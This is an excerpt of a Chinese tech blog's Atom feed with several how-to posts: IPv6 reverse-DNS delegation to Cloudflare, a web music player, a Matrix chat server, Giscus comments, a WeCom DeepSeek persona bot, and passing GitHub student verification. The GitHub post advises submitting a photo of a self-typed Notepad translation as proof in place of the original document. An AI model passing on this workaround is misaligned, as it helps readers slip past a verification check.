&lt;p&gt;如果TunnelBroker收到了回应，并且该IP没有被其他隧道绑定，就会弹出绿色，可绑定的标志&lt;&#x2F;p&gt;
&lt;p&gt;如果该IP曾被绑定，则需要进行HTTP验证&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-09-04-53-04-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;进入这个页面，查看TunnelBroker为你分配的路由IPv6&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-09-04-55-24-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;以 &lt;code&gt;2001:470:24:386::&#x2F;64&lt;&#x2F;code&gt; 为例&lt;&#x2F;p&gt;
&lt;p&gt;首先加0，每项4位，通过 &lt;code&gt;:&lt;&#x2F;code&gt; 分割，则为 &lt;code&gt;2001047000240386&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后倒过来，则为 &lt;code&gt;6830420007401002&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;最后，加上 &lt;code&gt;.&lt;&#x2F;code&gt; 和 &lt;code&gt;.ip6.arpa&lt;&#x2F;code&gt; ，则为 &lt;code&gt;6.8.3.0.4.2.0.0.0.7.4.0.1.0.0.2.ip6.arpa&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;将其添加到Cloudflare&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-09-04-59-05-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;查看Cloudflare要求你设置的NS服务器&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-09-04-59-25-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;回到TunnelBroker进行设置&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-09-04-59-49-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;等待域被激活即可&lt;&#x2F;p&gt;
&lt;h1 id=&quot;wei-qi-qian-fa-ssl&quot;&gt;为其签发SSL&lt;&#x2F;h1&gt;
&lt;p&gt;默认 ipra 无法签发SSL，因为会被大部分SSL提供商拒签&lt;&#x2F;p&gt;
&lt;p&gt;将Cloudflare SSL提供商改为 SSL.COM 可以解决这个问题&lt;&#x2F;p&gt;
&lt;p&gt;获取必要信息，发起更改SSL提供商请求&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;curl --location --request PATCH &amp;#39;https://api.cloudflare.com&#x2F;client&#x2F;v4&#x2F;zones&#x2F;&amp;lt;zone_id&amp;gt;&#x2F;ssl&#x2F;universal&#x2F;settings&amp;#39; --header &amp;#39;X-Auth-Email: 你的CF注册邮箱&amp;#39; --header &amp;#39;X-Auth-Key: 你的CF全局APIKey&amp;#39; --header &amp;#39;Content-Type: application&#x2F;json&amp;#39; --data-raw &amp;#39;{&amp;quot;enabled&amp;quot;:true,&amp;quot;certificate_authority&amp;quot;:&amp;quot;ssl_com&amp;quot;}&amp;#39;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;稍等片刻，CF会自动使用新的SSL提供商签发SSL&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-09-05-07-40-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;ju-xian-xing&quot;&gt;局限性&lt;&#x2F;h1&gt;
&lt;p&gt;本人测试，如果您自己创建SSL.COM的账户尝试签发SSL会拒签。故该域名仅能在Cloudflare CDN下使用&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>【开源】WPwebplayer——简洁通用的网页播放器</title>
        <published>2025-08-09T00:00:00+00:00</published>
        <updated>2025-08-09T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/wpwebplayer/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/wpwebplayer/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/wpwebplayer/">&lt;blockquote&gt;
&lt;p&gt;本文章非站长本人撰写，由他人Pr添加： https://github.com&#x2F;afoim&#x2F;fuwari&#x2F;pull&#x2F;23&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;wpwebplayer-htmlwang-zhan-bo-fang-zu-jian&quot;&gt;WPWebPlayer（html网站播放组件）&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;yi-kuan-jian-dan-jian-ji-qing-liang-de-wang-zhan-yin-le-bo-fang-qi-ti-yan-jie-mian-shi-li-xiang-mu-wen-zhang-bo-ke-ti-yan-jie-mian-npmbao-qian-duan-zi-yuan&quot;&gt;一款简单，简洁，轻量的网站音乐播放器  &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://wpwebplayer.112601.xyz&#x2F;&quot;&gt;体验界面&lt;&#x2F;a&gt;
&lt;img src=&quot;https://imgbed.112601.xyz&#x2F;file&#x2F;1752422083916.png&quot; alt=&quot;示例&quot; &#x2F;&gt;&lt;br &#x2F;&gt;
&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.yunsen2025.top&#x2F;023-wpmusicplayer&quot;&gt;项目文章（博客）&lt;&#x2F;a&gt; | &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://wpwebplayer.112601.xyz&#x2F;&quot;&gt;体验界面&lt;&#x2F;a&gt; | &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.jsdelivr.com&#x2F;package&#x2F;npm&#x2F;wpwebplayer?tab=files&quot;&gt;NPM包（前端资源）&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;h1 id=&quot;xiang-mu-te-xing&quot;&gt;项目特性：&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;简约：仅需引入css与js文件，统一使用&lt;code&gt;&amp;lt;wp-music-player&amp;gt;&lt;&#x2F;code&gt;标签&lt;&#x2F;li&gt;
&lt;li&gt;简单：无更多冗杂功能，回归最基础的【网站音乐播放】&lt;&#x2F;li&gt;
&lt;li&gt;可控性强：支持多个自定义参数，播放功能 ui颜色均可自定义&lt;&#x2F;li&gt;
&lt;li&gt;易于集成：可用于任何html项目中&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;shi-yong-fang-shi&quot;&gt;使用方式：&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;在&lt;code&gt;&amp;lt;head&amp;gt;&lt;&#x2F;code&gt;标签中引入css与js文件&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre&gt;&lt;code data-lang=&quot;html&quot;&gt;&amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;https://cdn.jsdelivr.net&#x2F;npm&#x2F;wpwebplayer@1.1.5&#x2F;min-css.css&amp;quot;&amp;gt;     
&amp;lt;script src=&amp;quot;https://cdn.jsdelivr.net&#x2F;npm&#x2F;wpwebplayer@1.1.5&#x2F;min-js.js&amp;quot;&amp;gt;&amp;lt;&#x2F;script&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;在&lt;code&gt;&amp;lt;body&amp;gt;&lt;&#x2F;code&gt;中使用&lt;code&gt;&amp;lt;wp-music-player&amp;gt;&lt;&#x2F;code&gt;标签&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre&gt;&lt;code data-lang=&quot;html&quot;&gt;    &amp;lt;wp-music-player 
    src=&amp;quot;&amp;quot; 
    title=&amp;quot;&amp;quot; 
    artist=&amp;quot;&amp;quot;
    cover=&amp;quot;&amp;quot;
    autoplay=&amp;quot;true&amp;quot;
    loop=&amp;quot;true&amp;quot;
    volume=&amp;quot;0.3&amp;quot;
    fixed=&amp;quot;true&amp;quot;
    mini=&amp;quot;true&amp;quot;
    theme=&amp;quot;#ff6b6b&amp;quot;&amp;gt;
  &amp;lt;&#x2F;wp-music-player&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;dai-ma-shi-li-qing-qian-wang-example-html&quot;&gt;（代码示例请前往&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;yunsen2025&#x2F;WPwebplayer&#x2F;blob&#x2F;main&#x2F;example.html&quot;&gt;example.html&lt;&#x2F;a&gt;)&lt;&#x2F;h2&gt;
&lt;h1 id=&quot;can-shu-shuo-ming&quot;&gt;参数说明&lt;&#x2F;h1&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;属性&lt;&#x2F;th&gt;&lt;th&gt;类型&lt;&#x2F;th&gt;&lt;th&gt;默认值&lt;&#x2F;th&gt;&lt;th&gt;描述&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;src&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;string&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;无&lt;&#x2F;td&gt;&lt;td&gt;音频文件地址（必须）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;title&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;string&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;无&lt;&#x2F;td&gt;&lt;td&gt;音乐标题&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;artist&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;string&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;无&lt;&#x2F;td&gt;&lt;td&gt;作者&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;cover&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;string&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;无&lt;&#x2F;td&gt;&lt;td&gt;封面图片URL&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;autoplay&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;true &#x2F; false&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;false&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;是否自动播放&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;loop&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;true &#x2F; false&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;true&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;是否循环播放&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;volume&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;number&lt;&#x2F;code&gt; (0~1)&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;1.0&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;初始音量（0~1）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;fixed&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;true &#x2F; false&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;true&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;是否固定样式&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;mini&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;true &#x2F; false&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;true&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;是否迷你模式&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;theme&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;string&lt;&#x2F;code&gt;（色值）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;#00c3ff&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;主题颜色&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;shuo-ming&quot;&gt;说明&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;src&amp;amp;cover：均需将图片上传至图床并引用&lt;&#x2F;li&gt;
&lt;li&gt;autoplay：参数失效 浏览器安全策略禁止未经允许的音频自动播放&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://developer.chrome.com&#x2F;blog&#x2F;autoplay?hl=zh-cn&quot;&gt;Chrome 中的自动播放政策&lt;&#x2F;a&gt;（需要用户手动操作后才能播放）&lt;&#x2F;li&gt;
&lt;li&gt;volume： 0~1 的小数值，代表 0%~100% 的音量大小&lt;&#x2F;li&gt;
&lt;li&gt;fixed：使播放器始终固定在页脚，不会因页面滚动产生的相对位置变化影响播放器实际位置（默认为 true）&lt;&#x2F;li&gt;
&lt;li&gt;mini：“迷你模式”和“完整模式”切换 完整模式支持更多功能（有bug 还没修）&lt;&#x2F;li&gt;
&lt;li&gt;theme：主题颜色 默认为#00c3ff&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;te-bie-ming-xie&quot;&gt;特别鸣谢&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;MarSeventh&quot;&gt;@MarSeventh&lt;&#x2F;a&gt; &lt;code&gt;叁月柒&lt;&#x2F;code&gt;大佬，在开发过程中提供宝贵帮助，解决数个关键bug&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>Github新版学生认证怎么过？用记事本！</title>
        <published>2025-08-08T00:00:00+00:00</published>
        <updated>2025-08-08T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/github-edu/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/github-edu/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/github-edu/">&lt;blockquote&gt;
&lt;p&gt;视频： https://www.bilibili.com&#x2F;video&#x2F;BV1kAtrzzEkG&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;确保你是个学生&lt;&#x2F;p&gt;
&lt;p&gt;并且拥有 &lt;strong&gt;学生证、录取通知书、毕业证&lt;&#x2F;strong&gt; 中的其中一种（我使用录取通知书）&lt;&#x2F;p&gt;
&lt;p&gt;首先来到 &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;settings&#x2F;billing&#x2F;payment_information&quot;&gt;Payment Information&lt;&#x2F;a&gt; 确保是你的真实信息，并且姓名使用拼音&lt;&#x2F;p&gt;
&lt;p&gt;如果不是，请进行更改，然后&lt;strong&gt;一定要重登Github！&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-08-01-03-14-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接下来前往 &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;settings&#x2F;education&#x2F;benefits&quot;&gt;GitHub · Where software is built&lt;&#x2F;a&gt; 推荐使用校园网或者流量&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-08-01-05-18-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;按需选&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-08-01-06-02-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这里拍照注意！如果你的证件没有英文版的，请不要直接拍原件&lt;&#x2F;p&gt;
&lt;p&gt;找个记事本手动翻译一下&lt;&#x2F;p&gt;
&lt;p&gt;比如我的录取通知书翻译为&lt;&#x2F;p&gt;
&lt;p&gt;然后用手机拍照即可&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-08-01-06-56-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;不出意外，批准！&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-08-01-07-22-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;yi-nan-jie-da&quot;&gt;疑难解答&lt;&#x2F;h1&gt;
&lt;p&gt;报错什么姓名不符，确保你的Github Payment Information姓名和你提交的证明文件姓名一样，如果不一样，改完一定要注销重新登录Github才行
报错用了VPN或者位置不对，请确保使用中国大陆网络！如果你没有校园网就用流量！&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>你说什么？企业微信能免费用Deepseek？！还能调成猫娘？！！</title>
        <published>2025-08-07T00:00:00+00:00</published>
        <updated>2025-08-07T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/qiyewx-deepseek/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/qiyewx-deepseek/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/qiyewx-deepseek/">&lt;p&gt;非常简单，首先你要有一个企业微信号&lt;&#x2F;p&gt;
&lt;p&gt;然后前往 &lt;code&gt;工作台&lt;&#x2F;code&gt; 往下拉找到 &lt;code&gt;智能机器人&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-07-04-12-05-e290f1322ccb6a32082cad8d44017ba4.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接下来就可以创建了&lt;&#x2F;p&gt;
&lt;p&gt;在 &lt;code&gt;角色设定&lt;&#x2F;code&gt; 可以提示词注入一下&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-07-04-13-32-13b847d4e4e01c1780dbf18828172ebe_720.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后你就得到了&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-07-04-13-46-b3720dc7d5946e995cbf6df189d02677.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可以通过多种方式使用~&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-07-04-14-58-d5ad87ab42f14ccbc220bf91ba5ec5d6.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>关于如何加入我们自托管的m.2x.nz端到端加密聊天服务器</title>
        <published>2025-08-06T00:00:00+00:00</published>
        <updated>2025-08-06T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/element/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/element/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/element/">&lt;p&gt;本群已删除 &lt;del&gt;此文本来是针对于 matrix.afo.im 的，现在更改为了 m.2x.nz&lt;&#x2F;del&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;zheng-shi-kai-shi&quot;&gt;正式开始&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;如果你是App，请确保已经使用 m.2x.nz ，并且点击使用Github登录，无需注册&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;使用浏览器访问： https://matrix.to&#x2F;#&#x2F;#acofork:m.2x.nz&lt;&#x2F;p&gt;
&lt;p&gt;点击 Continue&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;bfcae8a0-33a3-462c-a559-d1f2b385a00d.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;选择Element 卡片上的 Continue&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;788712ac-4b6f-420b-a644-c40f5bd25ddd.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;选择在浏览器中继续， Continue in your browser&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;269d4982-a672-4fe4-9537-bf1e494b17cc.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接着来到Element门户页，首先更改语言&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;5fadcfe7-772b-496d-a001-a4bdb48294d8.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接着点击登录&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;dd10cabf-3455-4aa0-95c6-bb23f9764783.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;编辑 家服务器&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;55aada68-f144-461c-8857-d4114ee2e8de.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;使用 其他自定义服务器： &lt;code&gt;m.2x.nz&lt;&#x2F;code&gt; 。然后点击继续&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;afff9570-0bc0-4b95-af1a-13bb6ca02b13.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;点击使用Github继续&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;该服务器已禁用传统的邮箱注册&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;bc1cddcd-399c-4c4d-a319-38dadc85bb33.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在结束 Github OAuth2 授权 后。浏览器会自动返回到 &lt;code&gt;m.2x.nz&lt;&#x2F;code&gt; 域，点击 Continue&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;b0d2fa63-37a9-487e-91e3-b98d6af92307.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;现在，你已成功登入Matrix&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;b8c23540-85af-40f6-b7c5-031543498111.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接着，再次访问最开始的邀请链接（在文章开头）。此时会弹出受邀界面，点击加入讨论即可&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;ca8af0a4-f0fd-43a6-ae8b-5eb50bf61bae.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;e1349ad5-a482-43b2-add5-f57cd341e90e.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;yi-nan-jie-da&quot;&gt;疑难解答&lt;&#x2F;h1&gt;
&lt;h3 id=&quot;ben-fu-wu-qi&quot;&gt;本服务器&lt;&#x2F;h3&gt;
&lt;p&gt;无法注册？：直接点击登录，然后通过Github授权即可&lt;&#x2F;p&gt;
&lt;p&gt;无法登录？：Github用户名不能为纯数字&lt;&#x2F;p&gt;
&lt;p&gt;如何更改我的密码？：Github单点登录无密码，您只需要保证您的Github账户不丢失&#x2F;封禁即可&lt;&#x2F;p&gt;
&lt;h3 id=&quot;lian-bang&quot;&gt;联邦&lt;&#x2F;h3&gt;
&lt;p&gt;如何加入？：输入 &lt;code&gt;#acofork:m.2x.nz&lt;&#x2F;code&gt; 即可加入&lt;&#x2F;p&gt;
&lt;h3 id=&quot;tong-zhi&quot;&gt;通知&lt;&#x2F;h3&gt;
&lt;p&gt;安卓如果无法使用 &lt;code&gt;Google通知&lt;&#x2F;code&gt; 可以尝试安装 https://play.google.com&#x2F;store&#x2F;apps&#x2F;details?id=chat.fluffy.fluffychat 。然后安装Ntfy配置通知 https://github.com&#x2F;krille-chan&#x2F;fluffychat&#x2F;wiki&#x2F;Push-Notifications-without-Google-Services 。可能需要等一段时间才能自动配置完成&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>为任何站点对接Giscus并且配置反垃圾！</title>
        <published>2025-08-04T00:00:00+00:00</published>
        <updated>2025-08-04T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/giscus-akismet/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/giscus-akismet/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/giscus-akismet/">&lt;blockquote&gt;
&lt;p&gt;Giscus使用Github Discussion实现存储用户评论，无需自托管&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;首先你需要创建一个 &lt;strong&gt;公开仓库&lt;&#x2F;strong&gt; （建议新开一个干净的空仓库）&lt;&#x2F;p&gt;
&lt;p&gt;然后在仓库设置中 &lt;strong&gt;启用&lt;&#x2F;strong&gt; &lt;code&gt;Discussion&lt;&#x2F;code&gt; 功能&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-04-12-16-36-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;前往 https://giscus.app&#x2F;zh-CN&lt;&#x2F;p&gt;
&lt;p&gt;首先填写你的仓库，通过检查&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-04-12-17-42-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接下来的 &lt;code&gt;映射关系&lt;&#x2F;code&gt; 十分重要！&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;pathname &lt;strong&gt;（最推荐）&lt;&#x2F;strong&gt;：假如你的文章路径为 &lt;code&gt;posts&#x2F;helloworld&lt;&#x2F;code&gt; 。那么只要你保证这个路径不变，评论和页面就永远匹配&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;url：只要你换&lt;strong&gt;域名&lt;&#x2F;strong&gt;了，评论和页面就无法匹配&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;title：只要你换&lt;strong&gt;标题&lt;&#x2F;strong&gt;了，评论和页面就无法匹配&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
